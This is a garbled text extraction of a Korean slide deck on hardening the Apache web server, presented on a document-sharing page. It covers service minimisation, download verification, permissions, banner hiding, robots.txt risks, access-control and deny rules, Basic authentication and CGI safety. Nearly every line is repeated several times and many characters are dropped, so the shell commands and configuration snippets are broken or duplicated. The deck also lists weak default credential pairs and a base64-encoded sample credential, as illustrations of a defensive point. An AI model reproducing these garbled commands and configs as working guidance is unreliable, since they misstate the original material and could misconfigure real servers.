46
Exploring Apache Security Exploring Apache Security Exploring Apache Security Exploring Apache Security K ji J S i A l K ji J S i A l Kwanjin Jung, Security Analyst AhnLab Inc,. Kwanjin Jung, Security Analyst AhnLab Inc,. AhnLab Inc,. AhnLab Inc,.

ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

  • Upload
    others

  • View
    1

  • Download
    0

Embed Size (px)

Citation preview

Page 1: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

Exploring Apache SecurityExploring Apache SecurityExploring Apache SecurityExploring Apache Security

K ji J S i A lK ji J S i A lKwanjin Jung, Security AnalystAhnLab Inc,.Kwanjin Jung, Security AnalystAhnLab Inc,.AhnLab Inc,.AhnLab Inc,.

Page 2: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

지금 여러분들의 관점은 ?지금 여러분들의 관점은 ?지금 여러분들의 관점은 ?지금 여러분들의 관점은 ?

개발자 관점개발자 관점개 자서버관리자 관점운영자 관점

개 자서버관리자 관점운영자 관점운영자 관점운영자 관점

Page 3: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

왜 웹의 환경에 주목해야하는가?

왜 웹의 환경에 주목해야하는가?하는가?하는가?

많은 산업군들이 이제 인터넷 기반의많은 산업군들이 이제 인터넷 기반의많은 산업군들이 이제 인터넷 기반의비즈니스를 수행하고 있다.많은 산업군들이 이제 인터넷 기반의비즈니스를 수행하고 있다.해마다 웹을 이용한 공격은 크게 증가하고있다.해마다 웹을 이용한 공격은 크게 증가하고있다.이제 ‘웹 해킹’ 이란 단어는 일반적인 용어웹을 통한 사고의 주된 원인은?이제 ‘웹 해킹’ 이란 단어는 일반적인 용어웹을 통한 사고의 주된 원인은?웹을 통한 사고의 주된 원인은?

웹 서버의 운영체제 및 서버 소프트웨어의취약점

웹을 통한 사고의 주된 원인은?웹 서버의 운영체제 및 서버 소프트웨어의취약점취약점웹 애플리케이션취약점웹 애플리케이션

Page 4: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

웹 서버의 위협웹 서버의 위협웹 서버의 위협웹 서버의 위협

다양한 웹 공격다양한 웹 공격다양한 웹 공격서비스거부공격

다양한 웹 공격서비스거부공격DoS, DDoS, DRDoS홈페이지 변조DoS, DDoS, DRDoS홈페이지 변조페이지웹 서버 또는 애플리케이션의 취약점활용

페이지웹 서버 또는 애플리케이션의 취약점활용활용SQL Injection, XSS, 잘못된 설정

웹 사이트와 웹 애플리케이션의 대중화

활용SQL Injection, XSS, 잘못된 설정

웹 사이트와 웹 애플리케이션의 대중화웹 사이트와 웹 애플리케이션의 대중화악성코드의 확산을 위한 창구웹 사이트와 웹 애플리케이션의 대중화악성코드의 확산을 위한 창구

Page 5: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

왜 웹 서버 공격이증가하는가?

왜 웹 서버 공격이증가하는가?증가하는가?증가하는가?

일반적으로 방화벽에서 80 443번 포트는일반적으로 방화벽에서 80 443번 포트는일반적으로 방화벽에서 80, 443번 포트는허용된다. 즉, 다른 포트번호가 차단되었다하더라도 이 포트번호는 외부에서는

일반적으로 방화벽에서 80, 443번 포트는허용된다. 즉, 다른 포트번호가 차단되었다하더라도 이 포트번호는 외부에서는하더라도 이 포트번호는 외부에서는유효하다.하더라도 이 포트번호는 외부에서는유효하다.가장 범용적으로 사용되는 프로토콜중의하나이다.가장 범용적으로 사용되는 프로토콜중의하나이다.많은 지식을 필요로 하지 않으며, URL 상의간단한 조작 및 유추 등이 가능하다.많은 지식을 필요로 하지 않으며, URL 상의간단한 조작 및 유추 등이 가능하다.해킹을 위한 많은 도구를 필요로 하지않으며, 웹 브라우저 하나만으로도 가능하다.해킹을 위한 많은 도구를 필요로 하지않으며, 웹 브라우저 하나만으로도 가능하다.않으며, 웹 브라우저 하나만으로도 가능하다.않으며, 웹 브라우저 하나만으로도 가능하다.

Page 6: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

웹 서버 고려사항은무엇인가?

웹 서버 고려사항은무엇인가?무엇인가?무엇인가?

하드웨어하드웨어하 웨어소프트웨어관리

하 웨어소프트웨어관리 이제 가장 중요하게관리보안관리보안

이제 가장 중요하게고려되어야 할안

비용내용

안비용내용

려되어야부분이다

내용내용

Page 7: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

웹 서버 구성환경 요소웹 서버 구성환경 요소웹 서버 구성환경 요소웹 서버 구성환경 요소

여러분은 어떤 보안 대비책을 가지고 있나요?여러분은 어떤 보안 대비책을 가지고 있나요?여러분은 어떤 보안 대비책을 가지고 있나요?아래의 환경은 일반적인 웹 구성 환경입니다. 여러분은 어떤 보안 대비책을 가지고 있나요?아래의 환경은 일반적인 웹 구성 환경입니다. 모든 보안 수준을 만족시킬까요? 모든 보안 수준을 만족시킬까요?

방화벽

응용프로그램

방화벽

웹 서비스를 위한80 443번 오픈

DB

응용프로그램

응용프로그램

응용프로그램X

80, 443번 오픈

웹 이용자

Web Server

응용프로그램XXX

다른 포트의웹 이용자 접속은 차단

Page 8: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

안전한 웹 서버안전한 웹 서버만들기만들기Step by StepStep by Step

Page 9: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

운영체제 준비운영체제 준비운영체제 준비운영체제 준비

운영체제 서비스의 최소화운영체제 서비스의 최소화운영체제 서비스의 최소화/etc/inetd.conf 에 등록되어 있는 서비스를 최소화웹 서비스 용도에 따라 적합한 운영체제 선택

운영체제 서비스의 최소화/etc/inetd.conf 에 등록되어 있는 서비스를 최소화웹 서비스 용도에 따라 적합한 운영체제 선택웹 서비스 용도에 따라 적합한 운영체제 선택불필요한 네트워크 서비스 제거- rlogin rsh rexec rcp 등의 서비스

웹 서비스 용도에 따라 적합한 운영체제 선택불필요한 네트워크 서비스 제거- rlogin rsh rexec rcp 등의 서비스rlogin,rsh,rexec,rcp 등의 서비스- NFS, FTP, sendmail SSH, IPChain, IPFilter, TCPWrapper 등과 같은

rlogin,rsh,rexec,rcp 등의 서비스- NFS, FTP, sendmail SSH, IPChain, IPFilter, TCPWrapper 등과 같은SS , C a , te , C appe 등과 같은보안 프로그램의 사용보안 패치파일, 보안뉴스 및 소식등을 얻을 수 있는

SS , C a , te , C appe 등과 같은보안 프로그램의 사용보안 패치파일, 보안뉴스 및 소식등을 얻을 수 있는온라인 자원의 활용- www.cert.org, www.certcc.or.kr

it f

온라인 자원의 활용- www.cert.org, www.certcc.or.kr

it f- www.securityfocus.com- www.securityfocus.com

Page 10: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

웹 서버 준비와 체크웹 서버 준비와 체크웹 서버 준비와 체크웹 서버 준비와 체크

아파치 다운로드아파치 다운로드아파치 다운로드- 검증된 사이트에서 다운된 파일인가?http://mirror.apache-kr.org/httpd/

아파치 다운로드- 검증된 사이트에서 다운된 파일인가?http://mirror.apache-kr.org/httpd/p p g p(3시간 마다 apache.org 에서 미러링)파일의 무결성 체크

PGP 서명 검증

p p g p(3시간 마다 apache.org 에서 미러링)파일의 무결성 체크

PGP 서명 검증- PGP 서명 검증% pgp -ka KEYS% pgp httpd-2.2.8.tar.gz.asc

- PGP 서명 검증% pgp -ka KEYS% pgp httpd-2.2.8.tar.gz.asc% pgp httpd 2.2.8.tar.gz.asc

- MD5 Checksum 확인패치파일이 존재하는 경우

% pgp httpd 2.2.8.tar.gz.asc - MD5 Checksum 확인패치파일이 존재하는 경우# cd apache_source_directory# patch –p0 < patchfilename.patch# cd apache_source_directory# patch –p0 < patchfilename.patch

Page 11: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

아파치 컴파일 및 설치아파치 컴파일 및 설치아파치 컴파일 및 설치아파치 컴파일 및 설치

필요한 모듈만 사용될 수 있도록 모듈의 설치를필요한 모듈만 사용될 수 있도록 모듈의 설치를필요한 모듈만 사용될 수 있도록 모듈의 설치를최소화 한다. httpd_core, mod_dir, mod_access, mod_auth, mod log config mod mime

필요한 모듈만 사용될 수 있도록 모듈의 설치를최소화 한다. httpd_core, mod_dir, mod_access, mod_auth, mod log config mod mimemod_log_config, mod_mime

바이너리 파일을 직접 설치하기 보다는 입맛에 맞게컴파일하여 최적화 수행을 권장한다

mod_log_config, mod_mime

바이너리 파일을 직접 설치하기 보다는 입맛에 맞게컴파일하여 최적화 수행을 권장한다컴파일하여 최적화 수행을 권장한다.

# /configure --disable-module=all --enable-

컴파일하여 최적화 수행을 권장한다.

# /configure --disable-module=all --enable-# ./configure --disable-module=all --enable-module=dir --enable-module=access […]

동적모듈의 방법을 이용하는 경우에는 다음과 같이

# ./configure --disable-module=all --enable-module=dir --enable-module=access […]

동적모듈의 방법을 이용하는 경우에는 다음과 같이동적모듈의 방법을 이용하는 경우에는 다음과 같이컴파일 한 후, LoadModule 지시어를 통하여필요한 모듈만 로드한다.

동적모듈의 방법을 이용하는 경우에는 다음과 같이컴파일 한 후, LoadModule 지시어를 통하여필요한 모듈만 로드한다.

#./configure --enable-module=most \--enable-shared=max […]#./configure --enable-module=most \--enable-shared=max […]

Page 12: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

아파치 동작권한 설정아파치 동작권한 설정아파치 동작권한 설정아파치 동작권한 설정

Users Group 의 root 설정 금지Users Group 의 root 설정 금지Users, Group 의 root 설정 금지사용자에 따른 적절한 권한 설정

웹 서버 동작

Users, Group 의 root 설정 금지사용자에 따른 적절한 권한 설정

웹 서버 동작- 웹 서버 동작- 웹 마스터- 웹 개발자

- 웹 서버 동작- 웹 마스터- 웹 개발자웹 개발자- 웹 저작자실제 서비스와 테스트 웹 서버를 구분

웹 개발자- 웹 저작자실제 서비스와 테스트 웹 서버를 구분

테스트에 의한 불필요 정보가 노출 될 수 있다.

아파치 웹 서버 파일 및 디렉토리 권한

테스트에 의한 불필요 정보가 노출 될 수 있다.

아파치 웹 서버 파일 및 디렉토리 권한아파치 웹 서버 파일 및 디렉토리 권한# cd /usr/local/apache # chown 0 . bin conf logs # chgrp 0 . bin conf logs # chmod 755 . bin conf logs

아파치 웹 서버 파일 및 디렉토리 권한# cd /usr/local/apache # chown 0 . bin conf logs # chgrp 0 . bin conf logs # chmod 755 . bin conf logs # chown 0 /usr/local/apache/bin/httpd # chgrp 0 /usr/local/apache/bin/httpd # chmod 511 /usr/local/apache/bin/httpd

# chown 0 /usr/local/apache/bin/httpd # chgrp 0 /usr/local/apache/bin/httpd # chmod 511 /usr/local/apache/bin/httpd

Page 13: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

DocumentRoot 에 대한 조언DocumentRoot 에 대한 조언DocumentRoot 에 대한 조언DocumentRoot 에 대한 조언

아파치 파일 및 HTML 문서의 무결성체크아파치 파일 및 HTML 문서의 무결성체크아파치 파일 및 HTML 문서의 무결성체크- TripWire- MD5

# md5sum `find / -type f –print` > md5 list

아파치 파일 및 HTML 문서의 무결성체크- TripWire- MD5

# md5sum `find / -type f –print` > md5 list# md5sum find / type f print > md5_list중요 파일은 DocumentRoot 에 넣어두지 않는다.

홈페이지에 공개되어 있지 않다고 해서 노출되지 않는 것이 아니다.

임시 파일 b k 및 파싱되어 처리되지 않는 파일은 주의

# md5sum find / type f print > md5_list중요 파일은 DocumentRoot 에 넣어두지 않는다.

홈페이지에 공개되어 있지 않다고 해서 노출되지 않는 것이 아니다.

임시 파일 b k 및 파싱되어 처리되지 않는 파일은 주의임시 파일 bak 및 파싱되어 처리되지 않는 파일은 주의외부에 노출될 필요가 없는 것은 쉽게 유추 및 추정할 수 있는 파일또는 디렉토리 이름을 사용하지 않는다.

임시 파일 bak 및 파싱되어 처리되지 않는 파일은 주의외부에 노출될 필요가 없는 것은 쉽게 유추 및 추정할 수 있는 파일또는 디렉토리 이름을 사용하지 않는다.

/admin, /test, /backup, /manage

Robot.txt 사용 주의

/admin, /test, /backup, /manage

Robot.txt 사용 주의관리자 페이지는 적절한 접근제어 방식을 사용하라

왜? 관리자 페이지를 떳떳하게 노출시키고 계신가요.관리자 페이지는 적절한 접근제어 방식을 사용하라

왜? 관리자 페이지를 떳떳하게 노출시키고 계신가요.

Page 14: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

Googling Your WebserverGoogling Your WebserverGoogling Your WebserverGoogling Your Webserver

부적절한 패스워드 사용 및 기본 계정 사용부적절한 패스워드 사용 및 기본 계정 사용부적절한 패스워드 사용 및 기본 계정 사용admin/admin, manager/manger, system/system, admin/djemals, root/root관리자/개인용 페이지 접근 제한 노출

부적절한 패스워드 사용 및 기본 계정 사용admin/admin, manager/manger, system/system, admin/djemals, root/root관리자/개인용 페이지 접근 제한 노출관리자/개인용 페이지 접근 제한 노출검색엔진을 통해 3분여 동안 찾을 수 있었던 사이트는 ? /admin , /manage, 관리자, 관리자 모드 등의 단순 검색어 이용.bak, .log, .inc 등

관리자/개인용 페이지 접근 제한 노출검색엔진을 통해 3분여 동안 찾을 수 있었던 사이트는 ? /admin , /manage, 관리자, 관리자 모드 등의 단순 검색어 이용.bak, .log, .inc 등, g, 등, g, 등

Page 15: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

정보 출력 제한정보 출력 제한정보 출력 제한정보 출력 제한

불 필요한 정보의 출력은 공격의 위험을 더욱 가중시킨다불 필요한 정보의 출력은 공격의 위험을 더욱 가중시킨다불 필요한 정보의 출력은 공격의 위험을 더욱 가중시킨다.

정보 출력 제한 지시어 이용S Si t Off

불 필요한 정보의 출력은 공격의 위험을 더욱 가중시킨다.

정보 출력 제한 지시어 이용S Si t OffServerSignature OffServerTokens ProductOnly서버의 버전 정보 제한

ServerSignature OffServerTokens ProductOnly서버의 버전 정보 제한서버의 버전 정 제한% vi include/httpd.h (아파치 1.3.X)% vi include/ap_release.h (아파치 2.X)

서버의 버전 정 제한% vi include/httpd.h (아파치 1.3.X)% vi include/ap_release.h (아파치 2.X)

#define SERVER_BASEVENDOR "Apache Group"#define SERVER_BASEPRODUCT "Apache"#define SERVER BASEREVISION "1 3 41"

#define SERVER_BASEVENDOR "Apache Group"#define SERVER_BASEPRODUCT "Apache"#define SERVER BASEREVISION "1 3 41"#define SERVER_BASEREVISION 1.3.41

디렉토리 인덱스 출력 제거O i I d

#define SERVER_BASEREVISION 1.3.41

디렉토리 인덱스 출력 제거O i I dOptions -IndexesOptions -Indexes

Page 16: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

Robots.txt 가 더 큰 위험을…Robots.txt 가 더 큰 위험을…Robots.txt 가 더 큰 위험을…Robots.txt 가 더 큰 위험을…

웹 로봇을 제한하는 robots txt 에 검색을 제한하는 경로를 입력할웹 로봇을 제한하는 robots txt 에 검색을 제한하는 경로를 입력할웹 로봇을 제한하는 robots.txt 에 검색을 제한하는 경로를 입력할경우 해당 경로가 오히려 노출이 될수있다.다음 파일에서 무엇을 추정해 볼 수 있을까요?U *

웹 로봇을 제한하는 robots.txt 에 검색을 제한하는 경로를 입력할경우 해당 경로가 오히려 노출이 될수있다.다음 파일에서 무엇을 추정해 볼 수 있을까요?U *User-agent: *Disallow: /stats/Disallow: /admin/

User-agent: *Disallow: /stats/Disallow: /admin/Disallow: /develop/다음의 사례는 공개된 robots.txt 에서 test 라는 폴더에 접근한 경우Disallow: /develop/다음의 사례는 공개된 robots.txt 에서 test 라는 폴더에 접근한 경우

Page 17: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

아파치 설정 지시어 활용아파치 설정 지시어 활용아파치 설정 지시어 활용아파치 설정 지시어 활용

Options 지시어Options 지시어Options 지시어ExecCGI : CGI 스크립트 실행권한 부여FollowSymLinks : 심볼릭링크 허용

Options 지시어ExecCGI : CGI 스크립트 실행권한 부여FollowSymLinks : 심볼릭링크 허용Includes : SSI(Server Side Includes)의 허용 ! SSI는 보안상 몇가지 잠재적인 위험이 있다.IncludesNOEXEC : #exec 의 기능을 제외한 SSI

Includes : SSI(Server Side Includes)의 허용 ! SSI는 보안상 몇가지 잠재적인 위험이 있다.IncludesNOEXEC : #exec 의 기능을 제외한 SSIIncludesNOEXEC : #exec 의 기능을 제외한 SSI 허용Indexes : 디렉토리 리스트 출력

IncludesNOEXEC : #exec 의 기능을 제외한 SSI 허용Indexes : 디렉토리 리스트 출력CoreDumpDirectoryErrorLog시스템 설정 보호

CoreDumpDirectoryErrorLog시스템 설정 보호시스템 설정 보호사용자에 의한 설정 정보 변경 방지 (.htaccess)<Directory />

시스템 설정 보호사용자에 의한 설정 정보 변경 방지 (.htaccess)<Directory /> AllowOverride None </Directory> AllowOverride None </Directory>

Page 18: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

에러 출력 제한에러 출력 제한에러 출력 제한에러 출력 제한

스크립트의 에러메시지가 많은 정보를 노출시킬 수 있다 이 경우스크립트의 에러메시지가 많은 정보를 노출시킬 수 있다 이 경우스크립트의 에러메시지가 많은 정보를 노출시킬 수 있다. 이 경우메시지를 좀더 친근한 형태로 바꾸면서 정보 노출을 제한하도록한다.ErrorDocument 지시어를 활용

스크립트의 에러메시지가 많은 정보를 노출시킬 수 있다. 이 경우메시지를 좀더 친근한 형태로 바꾸면서 정보 노출을 제한하도록한다.ErrorDocument 지시어를 활용ErrorDocument 지시어를 활용

기본적으로 하드코딩된 메시지 대신 다른 메시지로 출력로컬 URL 로 리다이렉트

ErrorDocument 지시어를 활용기본적으로 하드코딩된 메시지 대신 다른 메시지로 출력로컬 URL 로 리다이렉트외부 URL 로 리다이렉트

사용 예ErrorDocument 500 http://foo.example.com/cgi-bin/tester

외부 URL 로 리다이렉트사용 예

ErrorDocument 500 http://foo.example.com/cgi-bin/testerErrorDocument 500 http://foo.example.com/cgi bin/testerErrorDocument 404 /cgi-bin/bad_urls.plErrorDocument 401 /Subscription/how_to_subscribe.htmlErrorDocument 403 "Sorry can't allow you access today

ErrorDocument 500 http://foo.example.com/cgi bin/testerErrorDocument 404 /cgi-bin/bad_urls.plErrorDocument 401 /Subscription/how_to_subscribe.htmlErrorDocument 403 "Sorry can't allow you access todayErrorDocument 403 Sorry can t allow you access today

ErrorDocument 500 /cgi-bin/crash-recover

ErrorDocument 403 Sorry can t allow you access today

ErrorDocument 500 /cgi-bin/crash-recover

Page 19: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

접근제어 지시어 활용접근제어 지시어 활용접근제어 지시어 활용접근제어 지시어 활용

영역/범위 설정 지시어영역/범위 설정 지시어영역/범위 설정 지시어<Directory>, <DirectoryMatch><Files>, <FileMatch><Location>, <LocationMatch>

Li it Li itE t

영역/범위 설정 지시어<Directory>, <DirectoryMatch><Files>, <FileMatch><Location>, <LocationMatch>

Li it Li itE t<Limit>, <LimitExcept>사용 예1) 확장자가 .pl 이거나 localconfig 문자열이 들어가거나check sh 의 파일에 매치되는 것이 있으면 모든 접근을 거부

<Limit>, <LimitExcept>사용 예1) 확장자가 .pl 이거나 localconfig 문자열이 들어가거나check sh 의 파일에 매치되는 것이 있으면 모든 접근을 거부check.sh 의 파일에 매치되는 것이 있으면 모든 접근을 거부

<FilesMatch ^(.*\.pl|.*localconfig.*|check.sh)$>deny from all

check.sh 의 파일에 매치되는 것이 있으면 모든 접근을 거부

<FilesMatch ^(.*\.pl|.*localconfig.*|check.sh)$>deny from alldeny from all

</FilesMatch>

2) URL경로에 “/private/data” 또는 “/special/data”

deny from all</FilesMatch>

2) URL경로에 “/private/data” 또는 “/special/data”) 경 에 p p문자열이 검출되면 <Location>과 </Location>섹션안에지정한 지시어들을 수행

<Location ~ “/(private|special)/data”>

) 경 에 p p문자열이 검출되면 <Location>과 </Location>섹션안에지정한 지시어들을 수행

<Location ~ “/(private|special)/data”><Location ~ /(private|special)/data ><Location ~ /(private|special)/data >

Page 20: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

중요 파일정보 제한중요 파일정보 제한중요 파일정보 제한중요 파일정보 제한

설정정보를 담고 있는 파일의 접근 차단 ( htaccess htpasswd)설정정보를 담고 있는 파일의 접근 차단 ( htaccess htpasswd)설정정보를 담고 있는 파일의 접근 차단 (.htaccess, .htpasswd)<Files ~ "^\.ht">Order allow,denyDeny from all

설정정보를 담고 있는 파일의 접근 차단 (.htaccess, .htpasswd)<Files ~ "^\.ht">Order allow,denyDeny from allDeny from all</Files>특정 확장자 파일 접근 차단<filesmatch "\ (inc|tpl|h|ihtml|sql|ini|conf|bin|spd|theme|module)$">

Deny from all</Files>특정 확장자 파일 접근 차단<filesmatch "\ (inc|tpl|h|ihtml|sql|ini|conf|bin|spd|theme|module)$"><filesmatch \.(inc|tpl|h|ihtml|sql|ini|conf|bin|spd|theme|module)$ >Deny from all</filesmatch><files ~ "\config php$">

<filesmatch \.(inc|tpl|h|ihtml|sql|ini|conf|bin|spd|theme|module)$ >Deny from all</filesmatch><files ~ "\config php$"><files ~ \config.php$ >Deny from all</files>

<files ~ \config.php$ >Deny from all</files>

임시파일 및 백업파일은 DocumentRoot 이외의 경로에 넣어둔다.기본 아파치 설정 파일은 삭제

htd

임시파일 및 백업파일은 DocumentRoot 이외의 경로에 넣어둔다.기본 아파치 설정 파일은 삭제

htdhtdocscgi-binhtdocscgi-bin

Page 21: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

인증을 통한 접근제어인증을 통한 접근제어인증을 통한 접근제어인증을 통한 접근제어

Web ServerWeb ServerGET /protected HTTP/1.1

HTTP/1 1 401 Authorization Required기본인증방법DigestHTTP/1.1 401 Authorization Required

GET /protected HTTP/1.1 Authorization: Basic aW50ZXhwOmludGV4cDAwNw==

gRadiusLDAPOracle..

<Location /protected>Auth OKAuth OK

요청한문서를보여준다.

<Location /protected>AuthName “Members” AuthType BasicAuthUserFile /usr/local/httpd/usersRequire valid-user</Location>

접근은 허용하지만 인증된 특정 사용자에게만 접근을허락한다접근은 허용하지만 인증된 특정 사용자에게만 접근을허락한다

</Location>

허락한다.인증과 함께 특정 IP 로부터의 접근제한도 동시에 사용한다.Satisfy Any|All

허락한다.인증과 함께 특정 IP 로부터의 접근제한도 동시에 사용한다.Satisfy Any|All기본인증은 외부의 노출로부터 안전하지 않다. MD5, SSL 의 방법을 이용할 수 있다. 기본인증은 외부의 노출로부터 안전하지 않다. MD5, SSL 의 방법을 이용할 수 있다.

Page 22: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

호스트 접근제어호스트 접근제어호스트 접근제어호스트 접근제어

접근제어 모듈 mod access접근제어 모듈 mod access접근제어 모듈 mod_access- allow- deny

order

접근제어 모듈 mod_access- allow- deny

order- order<Directory /internal-only/>

Order deny,allowD f ll

- order<Directory /internal-only/>

Order deny,allowD f llDeny from allAllow from localhost 192.168.23.0/255.255.255.0

</Directory>

Deny from allAllow from localhost 192.168.23.0/255.255.255.0

</Directory>

다양한 접근제어 모듈- Extended Access Control(mod eaccess)다양한 접근제어 모듈- Extended Access Control(mod eaccess)Extended Access Control(mod_eaccess)

정규표현식을 이용하여 URL, HTTP 요청방법, URI, QUERY_STRING 등을 기준으로 접근제어가능

Extended Access Control(mod_eaccess)정규표현식을 이용하여 URL, HTTP 요청방법,

URI, QUERY_STRING 등을 기준으로 접근제어가능가능- RBL(Realtime Blackhole List)

mod_access_rbl

가능- RBL(Realtime Blackhole List)

mod_access_rbl

Page 23: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

접근제어 고급활용접근제어 고급활용접근제어 고급활용접근제어 고급활용

확장자별접근제어

환경변수접근제어

html(또는 htm), jpg(또는 jpeg), bmp, gif 파일이외의 접근은 허용되지 않으며, 이외의 파일에 접근하게 되면 접근에러메시지인 access violation html 내용을

html(또는 htm), jpg(또는 jpeg), bmp, gif 파일이외의 접근은 허용되지 않으며, 이외의 파일에 접근하게 되면 접근에러메시지인 access violation html 내용을

브라우저가 인터넷 익스플로러인 경우 에는‘InternetExplorer’ 환경변수를 설정하고 deny 지시어로 모든 접근을 거부하고, ll 지시어를 통해‘I t tE l ’ 로 환경메시지인 access_violation.html 내용을

보여주게 된다.

<Directory /home/apache/htdocs>Order deny allow

메시지인 access_violation.html 내용을보여주게 된다.

<Directory /home/apache/htdocs>Order deny allow

allow 지시어를 통해‘InternetExplorer’ 로 환경설정된 브라우저의 접속만 허용

BrowserMatch ^MSIE InternetExplorerOrder deny,allowDeny from all<FilesMatch

“\.(html?|jpe?g|bmp|gif)$”>Order deny allow

Order deny,allowDeny from all<FilesMatch

“\.(html?|jpe?g|bmp|gif)$”>Order deny allow

<Directory /msie_html/>Order deny,allowDeny from allAll f I t tE lOrder deny,allow

Allow from all</FilesMatch>ErrorDocument 403

/ i l ti ht l

Order deny,allowAllow from all

</FilesMatch>ErrorDocument 403

/ i l ti ht l

Allow from env=InternetExplorer</Directory>

/access_violation.html</Directory>

/access_violation.html</Directory>

Page 24: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

HTTP Method 제한HTTP Method 제한HTTP Method 제한HTTP Method 제한

필요한 메소드로만 제한필요한 메소드로만 제한필요한 메소드로만 제한<LimitExcept GET POST OPTIONS PROPFIND>

필요한 메소드로만 제한<LimitExcept GET POST OPTIONS PROPFIND>PROPFIND>

Order deny,allowDeny from all

PROPFIND>Order deny,allowDeny from allDeny from all

</LimitExcept>TRACE 메소드 제한

Deny from all</LimitExcept>

TRACE 메소드 제한TRACE 메소드 제한mod_rewrite 모듈의 사용

R it E i

TRACE 메소드 제한mod_rewrite 모듈의 사용

R it E iRewriteEngine onRewriteCond %{REQUEST_METHOD} ^TRACERewriteRule * [F]

RewriteEngine onRewriteCond %{REQUEST_METHOD} ^TRACERewriteRule * [F]RewriteRule . [F]RewriteRule . [F]

Page 25: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

CGI 스크립트 안전한 사용CGI 스크립트 안전한 사용CGI 스크립트 안전한 사용CGI 스크립트 안전한 사용

잘못된 스크립트의 사용은 시스템정보를 노출하거나 명령어잘못된 스크립트의 사용은 시스템정보를 노출하거나 명령어잘못된 스크립트의 사용은 시스템정보를 노출하거나 명령어실행등의 큰 위험을 가질 수 있다. CGI 사용의 위험을 줄이기 위한 방법

CGIWrap(http://prdownloads sourceforge net/cgiwrap )

잘못된 스크립트의 사용은 시스템정보를 노출하거나 명령어실행등의 큰 위험을 가질 수 있다. CGI 사용의 위험을 줄이기 위한 방법

CGIWrap(http://prdownloads sourceforge net/cgiwrap )- CGIWrap(http://prdownloads.sourceforge.net/cgiwrap )- suEXEC(SetUserID Execution)아파치에서 자체적으로 제공해 주는 프로그램

스크립트 사용시 특정 경로로 한정

- CGIWrap(http://prdownloads.sourceforge.net/cgiwrap )- suEXEC(SetUserID Execution)아파치에서 자체적으로 제공해 주는 프로그램

스크립트 사용시 특정 경로로 한정스크립트 사용시 특정 경로로 한정ScriptAliasOptions 의 ExecCGI

스크립트 사용시 특정 경로로 한정ScriptAliasOptions 의 ExecCGI

아파치 ScriptLog 지시어- ScriptLog- ScriptLogLength

S i L B ff

아파치 ScriptLog 지시어- ScriptLog- ScriptLogLength

S i L B ff- ScriptLogBuffer- ScriptLogBuffer

Page 26: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

스팸 봇 차단스팸 봇 차단스팸 봇 차단스팸 봇 차단

